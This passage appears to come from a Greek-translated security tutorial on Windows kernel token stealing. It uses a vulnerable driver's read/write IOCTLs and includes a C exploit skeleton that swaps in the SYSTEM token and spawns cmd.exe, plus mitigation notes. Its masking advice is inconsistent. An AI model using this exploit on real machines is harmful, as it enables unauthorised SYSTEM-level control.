Διαβάστε την τιμή token του SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). +5) Option A (common): Διατηρήστε τα χαμηλά 3 bits από το τρέχον token σας και συγκολλήστε τα στον δείκτη του SYSTEM για να διατηρηθεί η συνέπεια του ενσωματωμένου μετρητή αναφορών. +- Token_ME = *(EPROCESS_SELF + TokenOffset) +- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) +6) Εγγράψτε το Token_NEW πίσω στο (EPROCESS_SELF + TokenOffset) χρησιμοποιώντας το kernel write primitive σας. +7) Η τρέχουσα διεργασία σας είναι τώρα SYSTEM. Προαιρετικά ξεκινήστε ένα νέο cmd.exe ή powershell.exe για επιβεβαίωση. + +## Ψευδοκώδικας + +Παρακάτω είναι ένα σκελετικό παράδειγμα που χρησιμοποιεί μόνο δύο IOCTLs από έναν ευάλωτο driver, ένα για 8-byte kernel read και ένα για 8-byte kernel write. Αντικαταστήστε με το interface του driver σας. +```c +#include +#include +#include + +// Device + IOCTLs are driver-specific +#define DEV_PATH "\\\\.\\VulnDrv" +#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Version-specific (examples only – resolve per build!) +static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies +static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies +static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies + +BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { +struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; +in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); +} +BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { +struct { uint64_t addr, val; } in; DWORD ret; +in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); +} + +// Get ntoskrnl base (one option) +uint64_t get_nt_base(void) { +LPVOID drivers[1024]; DWORD cbNeeded; +if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { +return (uint64_t)drivers[0]; // first is typically ntoskrnl +} +return 0; +} + +int main(void) { +HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +if (h == INVALID_HANDLE_VALUE) return 1; + +// 1) Resolve PsInitialSystemProcess +uint64_t nt = get_nt_base(); +uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build + +// 2) Read SYSTEM EPROCESS +uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); + +// 3) Walk ActiveProcessLinks to find current EPROCESS +DWORD myPid = GetCurrentProcessId(); +uint64_t cur = EPROC_SYS; // list is circular +uint64_t EPROC_ME = 0; +do { +uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid); +if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } +uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); +cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD +} while (cur != EPROC_SYS); + +// 4) Read tokens +uint64_t tok_sys, tok_me; +kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); +kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); + +// 5) Mask EX_FAST_REF low bits and splice refcount bits +uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds +uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); + +// 6) Write back +kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); + +// 7) We are SYSTEM now +system("cmd.exe"); +return 0; +} +``` +Σημειώσεις: +- Μετατοπίσεις: Χρησιμοποιήστε το WinDbg με την εντολή `dt nt!_EPROCESS` μαζί με τα PDBs του στόχου, ή έναν runtime symbol loader, για να λάβετε σωστές μετατοπίσεις. Μην κάνετε hardcode τυφλά. +- Μάσκα: Σε x64 το token είναι EX_FAST_REF; τα 3 χαμηλότερα bits είναι bits μετρητή αναφορών. Η διατήρηση των αρχικών χαμηλών bits από το token σας αποφεύγει άμεσες ασυμφωνίες στον μετρητή αναφορών. +- Σταθερότητα: Προτιμήστε να ανυψώνετε την τρέχουσα διεργασία· αν ανυψώσετε έναν βραχύβιο helper μπορεί να χάσετε SYSTEM όταν τερματιστεί. + +## Ανίχνευση & μετριασμός +- Η φόρτωση unsigned ή untrusted third‑party drivers που εκθέτουν ισχυρά IOCTLs είναι η βασική αιτία. +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, και οι κανόνες Attack Surface Reduction μπορούν να αποτρέψουν τη φόρτωση ευάλωτων drivers. +- Το EDR μπορεί να παρακολουθεί για ύποπτες ακολουθίες IOCTL που υλοποιούν arbitrary read/write και για token swaps. + +## Αναφορές +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) + +{{#include ../../banners/hacktricks-training.md}}